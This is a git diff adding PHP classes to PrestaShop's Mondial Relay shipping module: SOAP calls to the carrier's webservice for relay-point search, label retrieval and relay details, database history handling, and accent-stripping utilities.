$valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + $error = $this->_mondialRelay->l('This key').' ['.$paramName.'] '. + $this->_mondialRelay->l('hasn\'t a valide value format').' : '.$valueDetailed['value']; + $this->_resultList['error'][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $this->_fields['list']['Security']['value'] = strtoupper(md5($concatenationValue)); + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + ** Get detail information for each relay + */ + private function _getRelayPointDetails($relayPointList) + { + $relayPointNumList = array(); + foreach($relayPointList as $num => $relayPoint) + $relayPointNumList[] = $relayPoint['Num']; + + $MRRelayDetail = new MRRelayDetail(array( + 'relayPointNumList' => $relayPointNumList, + 'id_address_delivery' => $this->_id_address_delivery)); + $MRRelayDetail->init(); + $MRRelayDetail->send(); + return $MRRelayDetail->getResult(); + } + + /* + ** Generate a perman link to view relay detail on their website + */ + private function _addLinkHoursDetail(&$relayPointList) + { + $relayPointNumList = array(); + foreach($relayPointList as $num => $relayPoint) + $relayPointNumList[] = $relayPoint['Num']; + $permaList = MRRelayDetail::getPermaLink($relayPointNumList, $this->_id_address_delivery); + foreach($relayPointList as $num => &$relayPoint) + { + $relayPoint['permaLinkDetail'] = ''; + if (array_key_exists($relayPoint['Num'], $permaList)) + $relayPoint['permaLinkDetail'] = $permaList[$relayPoint['Num']]; + } + return $relayPointList; + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + $success = array(); + + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialRelay->l('It seems the request isn\'t valid:'). + $result; + + $result = $result['WSI2_RecherchePointRelaisResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialRelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialRelay->l('Details : '). + $this->_mondialRelay->getErrorCodeDetail($errorNumber); + } + else + { + unset($result['STAT']); + + // Clean Content + foreach($result as $num => $relayPoint) + { + $totalEmptyFields = 0; + foreach ($relayPoint as $key => &$value) + { + $value = trim($value); + if (empty($value)) + ++$totalEmptyFields; + } + if ($totalEmptyFields == count($relayPoint)) + unset($result[$num]); + } + if (!count($result)) + $errors[] = $this->_mondialRelay->l('MondialRelay can\'t find any relay point near your address. Maybe your address isn\'t properly filled ?'); + else + { + $this->_addLinkHoursDetail($result); + + // Fetch detail info using webservice (not used anymore) + // $this->_generateLinkHoursDetail($result); + // $result = (count($relayDetail['success'])) ? $relayDetail['success'] : $result; + } + $success = $result; + } + $this->_resultList['error'] = $errors; + $this->_resultList['success'] = $success; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + $params = $this->_getSimpleParamArray($this->_fields['list']); + $result = $client->call( + 'WSI2_RecherchePointRelais', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_RecherchePointRelais'); + + $this->_parseResult($client, $result, $params); + unset($client); + } + else + throw new Exception($this->_mondialRelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} diff --git a/modules/mondialrelay/classes/MRGetTickets.php b/modules/mondialrelay/classes/MRGetTickets.php new file mode 100755 index 0000000..0f57603 --- /dev/null +++ b/modules/mondialrelay/classes/MRGetTickets.php @@ -0,0 +1,261 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to retrieve tickets - 'WSI2_GetEtiquettes' + */ +class MRGetTickets implements IMondialRelayWSMethod +{ + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Expeditions' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{8}(;[0-9]{8})*$#'), + 'Langue' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_detailedExpeditionList = array(); + private $_webServiceKey = ''; + private $_mondialrelay = NULL; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialrelay = $object; + $this->_detailedExpeditionList = $params['detailedExpeditionList']; + $this->_webServiceKey = $this->_mondialrelay->account_shop['MR_KEY_WEBSERVICE']; + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + public function init() + { + $this->_fields['list']['Enseigne']['value'] = $this->_mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Langue']['value'] = $this->_mondialrelay->account_shop['MR_LANGUAGE']; + + foreach ($this->_detailedExpeditionList as $detailedExpedition) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $tmp['Expeditions']['value'] = $detailedExpedition['expeditionNumber']; + $this->_fieldsList[] = $base; + } + $this->_generateMD5SecurityKey(); + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + $valueDetailed['value'] = strtoupper($valueDetailed['value']); + if (preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + $error = $this->_mondialrelay->l('This key').' ['.$paramName.'] '.$this->_mondialrelay->l('hasn\'t a valide value format').' : '.$valueDetailed['value']; + $id_order = $this->_getOrderIdWithExpeditionNumber($rootCase['list']['Expeditions']['value']); + $this->_resultList['error'][$id_order][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Update the history tables + */ + private function _updateTable($id_order, $expeditionNumber, $URLA4, $URLA5, &$success) + { + $query = ' + SELECT id FROM `'._DB_PREFIX_.'mr_history` + WHERE `order`='.(int)$id_order; + + $row = Db::getInstance()->getRow($query); + if ($row) + { + $query = ' + UPDATE `'._DB_PREFIX_.'mr_history` + SET + `exp` = \''.(int)$expeditionNumber.'\', + `url_a4` = \''.pSQL((string)$URLA4).'\', + `url_a5` = \''.pSQL((string)$URLA5).'\' + WHERE `order` = '.(int)$id_order; + } + else + { + $query = ' + INSERT INTO '._DB_PREFIX_.'mr_history + (`order`, `exp`, `url_a4`, `url_a5`) + VALUES ( + '.(int)$id_order.', + '.(int)$expeditionNumber.', + \''.pSQL((string)$URLA4).'\', + \''.pSQL((string)$URLA5).'\')'; + } + Db::getInstance()->execute($query); + $success['id_mr_history'] = isset($row['id']) ? $row['id'] : Db::getInstance()->Insert_ID(); + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + $success = array(); + + $id_order = $this->_getOrderIdWithExpeditionNumber($params['Expeditions']); + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialrelay->l('It seems the request isn\'t valid:'). + $result; + + $result = $result['WSI2_GetEtiquettesResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : '). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $baseURL = 'http://www.mondialrelay.fr'; + $URLPDF_A4 = $baseURL.$result['URL_PDF_A4']; + $URLPDF_A5 = $baseURL.$result['URL_PDF_A5']; + + $success['id_order'] = $id_order; + $success['expeditionNumber'] = $params['Expeditions']; + $success['URLPDF_A4'] = $URLPDF_A4; + $success['URLPDF_A5'] = $URLPDF_A5; + $this->_updateTable($id_order, $params['Expeditions'], $URLPDF_A4, $URLPDF_A5, $success); + } + $this->_resultList['error'][$id_order] = $errors; + $this->_resultList['success'][$id_order] = $success; + } + + /* + * Get the order id using the expedition number + */ + private function _getOrderIdWithExpeditionNumber($expeditionNumber) + { + foreach($this->_detailedExpeditionList as $detailedExpedition) + if ($detailedExpedition['expeditionNumber'] == $expeditionNumber) + return $detailedExpedition['id_order']; + return 0; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_GetEtiquettes', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_GetEtiquettes'); + + $this->_parseResult($client, $result, $params); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay/classes/MRManagement.php b/modules/mondialrelay/classes/MRManagement.php new file mode 100755 index 0000000..ed9605c --- /dev/null +++ b/modules/mondialrelay/classes/MRManagement.php @@ -0,0 +1,169 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(realpath(dirname(__FILE__).'/../mondialrelay.php')); + +class MRManagement extends MondialRelay +{ + private $_params = array(); + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + public function __construct($params) + { + $this->_params = $params; + + parent::__construct(); + } + + public function __destruct() + { + + } + + /* + ** This method fill the database with the selected carrier + */ + public function addSelectedCarrierToDB() + { + $query = 'SELECT `id_mr_selected` + FROM `' . _DB_PREFIX_ . 'mr_selected` + WHERE `id_cart` = '.(int)$this->_params['id_cart']; + + // Not exist and needed for database + unset($this->_params['relayPointInfo']['permaLinkDetail']); + + // Update if Exist else add a new entry + if (Db::getInstance()->getRow($query)) + { + $query = 'UPDATE `'._DB_PREFIX_.'mr_selected` + SET `id_method` = '.(int)$this->_params['id_mr_method'].', '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '`MR_Selected_'.MRTools::bqSQL($nameKey).'` = "'.pSQL($value).'", '; + else // Clean the existing relay point data + $query .= ' + MR_Selected_Num = NULL, + MR_Selected_LgAdr1 = NULL, + MR_Selected_LgAdr2 = NULL, + MR_Selected_LgAdr3 = NULL, + MR_Selected_LgAdr4 = NULL, + MR_Selected_CP = NULL, + MR_Selected_Pays = NULL, + MR_Selected_Ville = NULL, '; + $query = rtrim($query, ', ').' WHERE `id_cart` = '.(int)$this->_params['id_cart']; + } + else + { + $query = 'INSERT INTO `'._DB_PREFIX_.'mr_selected` + (`id_customer`, `id_method`, `id_cart`, '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '`MR_Selected_'.MRTools::bqSQL($nameKey).'`, '; + $query = rtrim($query, ', ').') VALUES ( + '.(int)$this->_params['id_customer'].', + '.(int)$this->_params['id_mr_method'].', + '.(int)$this->_params['id_cart'].', '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '"'.pSQL($value).'", '; + $query = rtrim($query, ', ').')'; + } + Db::getInstance()->execute($query); + } + + public function uninstallDetail() + { + $html = ''; + + switch($this->_params['action']) + { + case 'showFancy': + $html .= ' +
        +

        '.$this->l('Uninstalling Mondial Relay').'

        +
        + '.$this->l('You\'re about to uninstall the module, do you want to remove the database').' ? +

        + +
        + +
        + +
        +

        +
        +
        + '; + $this->_resultList['html'] = $html; + break; + case 'backupAndUninstall': + + break; + default: + } + return $this->_resultList; + } + + public function DeleteHistory() + { + $success = array(); + $error = array(); + + if (is_array($this->_params['historyIdList']) && count($this->_params['historyIdList'])) + { + $query = ' + DELETE FROM `'._DB_PREFIX_.'mr_history` + WHERE id IN('; + foreach($this->_params['historyIdList'] as $id) + $query .= (int)$id.', '; + $query = trim($query, ', ').')'; + + $success['deletedListId'] = $this->_params['historyIdList']; + $totalDeleted = Db::getInstance()->execute($query); + if (count($success['deletedListId']) != $totalDeleted) + { + $error[] = $this->l('Some items can\'t be removed, please try to remove it again'); + foreach($success['deletedListId'] as $id) + { + $query = ' + SELECT id FROM `'._DB_PREFIX_.'mr_history` + WHERE id='.(int)$id; + if (Db::getInstance()->getRow($query) && + ($key = array_search($id, $success['deletedListId'])) !== FALSE) + unset($success['deletedListId'][$key]); + } + } + $this->_resultList['success'] = $success; + $this->_resultList['other']['error'] = $error; + } + else + throw new Exception($this->l('Please select at least one history element')); + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay/classes/MRRelayDetail.php b/modules/mondialrelay/classes/MRRelayDetail.php new file mode 100755 index 0000000..9b3fe38 --- /dev/null +++ b/modules/mondialrelay/classes/MRRelayDetail.php @@ -0,0 +1,275 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to retrieve relay point details - 'WSI2_DetailPointRelais' + */ +class MRRelayDetail implements IMondialRelayWSMethod +{ + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Num' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{6}$#'), + 'Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_relayPointNumList = array(); + private $_id_address_delivery = 0; + private $_webServiceKey = ''; + private $_mondialrelay = NULL; + private $_markCode = ''; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialrelay = $object; + + $this->_relayPointNumList = $params['relayPointNumList']; + $this->_id_address_delivery = (int)($params['id_address_delivery']); + $this->_webServiceKey = $this->_mondialRelay->account_shop['MR_KEY_WEBSERVICE']; + $this->_markCode = $this->_mondialRelay->account_shop['MR_CODE_MARQUE']; + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + public function init() + { + $address = new Address($this->_id_address_delivery); + + if (!$address) + throw new Exception($this->_mondialrelay->l('Customer address can\'t be found')); + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Pays']['value'] = Country::getIsoById($address->id_country); + + foreach ($this->_relayPointNumList as $num) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $tmp['Num']['value'] = $num; + $this->_fieldsList[] = $base; + } + $this->_generateMD5SecurityKey(); + unset($address); + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', $valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + if (empty($valueDetailed['value'])) + $error = $this->_mondialrelay->l('This key').' ['.$paramName.'] '.$this->_mondialrelay->l('is empty and need to be filled'); + else + $error = 'This key ['.$paramName.'] hasn\'t a valid value format : '.$valueDetailed['value']; + $this->_resultList['error'][$rootCase['list']['Num']['value']] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialrelay->l('It seems the request isn\'t valid:'). + $result; + $result = $result['WSI2_DetailPointRelaisResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : '). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $HDayList = array( + 'Horaires_Lundi' => $this->_mondialrelay->l('Monday'), + 'Horaires_Mardi' => $this->_mondialrelay->l('Tuesday'), + 'Horaires_Mercredi' => $this->_mondialrelay->l('Wednesday'), + 'Horaires_Jeudi' => $this->_mondialrelay->l('Thursday'), + 'Horaires_Vendredi' => $this->_mondialrelay->l('Friday'), + 'Horaires_Samedi' => $this->_mondialrelay->l('Saturday'), + 'Horaires_Dimanche' => $this->_mondialrelay->l('Sunday')); + + $orderedDate = array(); + // Format hour properly + $priority = 0; + foreach($HDayList as $day => $tradDayName) + { + foreach($result[$day]['string'] as $num => &$value) + if ($value == '0000') + $value = ''; + else + $value = implode('h', str_split($value, 2)); + $orderedDate[$priority++] = array('name' => $tradDayName, 'list' => $result[$day]); + unset($result[$day]); + } + $result['orderedDate'] = $orderedDate; + $this->_resultList['success'][$result['Num']] = $result; + } + $this->_resultList['error'][] = $errors; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_DetailPointRelais', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_GetEtiquettes'); + + $this->_parseResult($client, $result, $params); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + ** Generate a list of perma link + */ + static public function getPermaLink($relayList, $id_address_delivery) + { + if (!($address = new Address($id_address_delivery))) + return array(); + + $mondialrelay = new MondialRelay(); + + $list = array(); + $iso = strtoupper(Country::getIsoById($address->id_country)); + $ens = $mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE'].$mondialrelay->account_shop['MR_CODE_MARQUE']; + $url = 'http://www.mondialrelay.com/public/permanent/details_relais.aspx?ens='.$ens; + foreach($relayList as $relayNum) + { + $crc = strtoupper(MD5('<'.strtoupper($ens).'>'.$relayNum.$iso.'<'.$mondialrelay->account_shop['MR_KEY_WEBSERVICE'].'>')); + $list[$relayNum] = $url.'&num='.$relayNum.'&pays='.$iso.'&crc='.$crc; + } + unset($address, $mondialrelay); + return $list; + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay/classes/MRTools.php b/modules/mondialrelay/classes/MRTools.php new file mode 100755 index 0000000..d60e5b9 --- /dev/null +++ b/modules/mondialrelay/classes/MRTools.php @@ -0,0 +1,268 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* +** Some tools using used in the module +*/ +class MRTools +{ + const REGEX_CLEAN_ADDR = '/[^a-zA-Z0-9-\s\'\!\,\|\(\)\.\*\&\#\/\:]/'; + + const REGEX_CLEAN_PHONE = '/[^0-9+\(\)]*/'; + + /** + * Check if a string could be UTF8 one + * + * @static + * @param $str + * @return bool + */ + public static function seemsUTF8($str) + { + $length = strlen($str); + + for($i = 0; $i < $length; $i++) + { + $c = ord($str[$i]); + if ($c < 0x80) + $n = 0; # 0bbbbbbb + else if (($c & 0xE0) == 0xC0) + $n = 1; # 110bbbbb + else if (($c & 0xF0) == 0xE0) + $n=2; # 1110bbbb + else if (($c & 0xF8) == 0xF0) + $n = 3; # 11110bbb + else if (($c & 0xFC) == 0xF8) + $n = 4; # 111110bb + else if (($c & 0xFE) == 0xFC) + $n=5; # 1111110b + else + return false; # Does not match any model + for ($j = 0; $j < $n; $j++) + { + # n bytes matching 10bbbbbb follow ? + if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) + return false; + } + } + return true; + } + + /** + * Converts all accent characters to ASCII characters. + * + * If there are no accent characters, then the string given is just returned. + * + * @param string $string Text that might have accent characters + * @return string Filtered string with replaced "nice" characters. + */ + public static function removeAccents($string) + { + if (!preg_match('/[\x80-\xff]/', $string)) + return $string; + + if (MRTools::seemsUTF8($string)) + { + $chars = array( + // Decompositions for Latin-1 Supplement + chr(195).chr(128) => 'A', chr(195).chr(129) => 'A', + chr(195).chr(130) => 'A', chr(195).chr(131) => 'A', + chr(195).chr(132) => 'A', chr(195).chr(133) => 'A', + chr(195).chr(135) => 'C', chr(195).chr(136) => 'E', + chr(195).chr(137) => 'E', chr(195).chr(138) => 'E', + chr(195).chr(139) => 'E', chr(195).chr(140) => 'I', + chr(195).chr(141) => 'I', chr(195).chr(142) => 'I', + chr(195).chr(143) => 'I', chr(195).chr(145) => 'N', + chr(195).chr(146) => 'O', chr(195).chr(147) => 'O', + chr(195).chr(148) => 'O', chr(195).chr(149) => 'O', + chr(195).chr(150) => 'O', chr(195).chr(153) => 'U', + chr(195).chr(154) => 'U', chr(195).chr(155) => 'U', + chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y', + chr(195).chr(159) => 's', chr(195).chr(160) => 'a', + chr(195).chr(161) => 'a', chr(195).chr(162) => 'a', + chr(195).chr(163) => 'a', chr(195).chr(164) => 'a', + chr(195).chr(165) => 'a', chr(195).chr(167) => 'c', + chr(195).chr(168) => 'e', chr(195).chr(169) => 'e', + chr(195).chr(170) => 'e', chr(195).chr(171) => 'e', + chr(195).chr(172) => 'i', chr(195).chr(173) => 'i', + chr(195).chr(174) => 'i', chr(195).chr(175) => 'i', + chr(195).chr(177) => 'n', chr(195).chr(178) => 'o', + chr(195).chr(179) => 'o', chr(195).chr(180) => 'o', + chr(195).chr(181) => 'o', chr(195).chr(182) => 'o', + chr(195).chr(182) => 'o', chr(195).chr(185) => 'u', + chr(195).chr(186) => 'u', chr(195).chr(187) => 'u', + chr(195).chr(188) => 'u', chr(195).chr(189) => 'y', + chr(195).chr(191) => 'y', + // Decompositions for Latin Extended-A + chr(196).chr(128) => 'A', chr(196).chr(129) => 'a', + chr(196).chr(130) => 'A', chr(196).chr(131) => 'a', + chr(196).chr(132) => 'A', chr(196).chr(133) => 'a', + chr(196).chr(134) => 'C', chr(196).chr(135) => 'c', + chr(196).chr(136) => 'C', chr(196).chr(137) => 'c', + chr(196).chr(138) => 'C', chr(196).chr(139) => 'c', + chr(196).chr(140) => 'C', chr(196).chr(141) => 'c', + chr(196).chr(142) => 'D', chr(196).chr(143) => 'd', + chr(196).chr(144) => 'D', chr(196).chr(145) => 'd', + chr(196).chr(146) => 'E', chr(196).chr(147) => 'e', + chr(196).chr(148) => 'E', chr(196).chr(149) => 'e', + chr(196).chr(150) => 'E', chr(196).chr(151) => 'e', + chr(196).chr(152) => 'E', chr(196).chr(153) => 'e', + chr(196).chr(154) => 'E', chr(196).chr(155) => 'e', + chr(196).chr(156) => 'G', chr(196).chr(157) => 'g', + chr(196).chr(158) => 'G', chr(196).chr(159) => 'g', + chr(196).chr(160) => 'G', chr(196).chr(161) => 'g', + chr(196).chr(162) => 'G', chr(196).chr(163) => 'g', + chr(196).chr(164) => 'H', chr(196).chr(165) => 'h', + chr(196).chr(166) => 'H', chr(196).chr(167) => 'h', + chr(196).chr(168) => 'I', chr(196).chr(169) => 'i', + chr(196).chr(170) => 'I', chr(196).chr(171) => 'i', + chr(196).chr(172) => 'I', chr(196).chr(173) => 'i', + chr(196).chr(174) => 'I', chr(196).chr(175) => 'i', + chr(196).chr(176) => 'I', chr(196).chr(177) => 'i', + chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij', + chr(196).chr(180) => 'J', chr(196).chr(181) => 'j', + chr(196).chr(182) => 'K', chr(196).chr(183) => 'k', + chr(196).chr(184) => 'k', chr(196).chr(185) => 'L', + chr(196).chr(186) => 'l', chr(196).chr(187) => 'L', + chr(196).chr(188) => 'l', chr(196).chr(189) => 'L', + chr(196).chr(190) => 'l', chr(196).chr(191) => 'L', + chr(197).chr(128) => 'l', chr(197).chr(129) => 'L', + chr(197).chr(130) => 'l', chr(197).chr(131) => 'N', + chr(197).chr(132) => 'n', chr(197).chr(133) => 'N', + chr(197).chr(134) => 'n', chr(197).chr(135) => 'N', + chr(197).chr(136) => 'n', chr(197).chr(137) => 'N', + chr(197).chr(138) => 'n', chr(197).chr(139) => 'N', + chr(197).chr(140) => 'O', chr(197).chr(141) => 'o', + chr(197).chr(142) => 'O', chr(197).chr(143) => 'o', + chr(197).chr(144) => 'O', chr(197).chr(145) => 'o', + chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe', + chr(197).chr(148) => 'R',chr(197).chr(149) => 'r', + chr(197).chr(150) => 'R',chr(197).chr(151) => 'r', + chr(197).chr(152) => 'R',chr(197).chr(153) => 'r', + chr(197).chr(154) => 'S',chr(197).chr(155) => 's', + chr(197).chr(156) => 'S',chr(197).chr(157) => 's', + chr(197).chr(158) => 'S',chr(197).chr(159) => 's', + chr(197).chr(160) => 'S', chr(197).chr(161) => 's', + chr(197).chr(162) => 'T', chr(197).chr(163) => 't', + chr(197).chr(164) => 'T', chr(197).chr(165) => 't', + chr(197).chr(166) => 'T', chr(197).chr(167) => 't', + chr(197).chr(168) => 'U', chr(197).chr(169) => 'u', + chr(197).chr(170) => 'U', chr(197).chr(171) => 'u', + chr(197).chr(172) => 'U', chr(197).chr(173) => 'u', + chr(197).chr(174) => 'U', chr(197).chr(175) => 'u', + chr(197).chr(176) => 'U', chr(197).chr(177) => 'u', + chr(197).chr(178) => 'U', chr(197).chr(179) => 'u', + chr(197).chr(180) => 'W', chr(197).chr(181) => 'w', + chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y', + chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z', + chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z', + chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z', + chr(197).chr(190) => 'z', chr(197).chr(191) => 's', + // Euro Sign + chr(226).chr(130).chr(172) => 'E', + // GBP (Pound) Sign + chr(194).chr(163) => ''); + + $string = strtr($string, $chars); + } + else + { + // Assume ISO-8859-1 if not UTF-8 + $chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158) + .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194) + .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202) + .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210) + .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218) + .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227) + 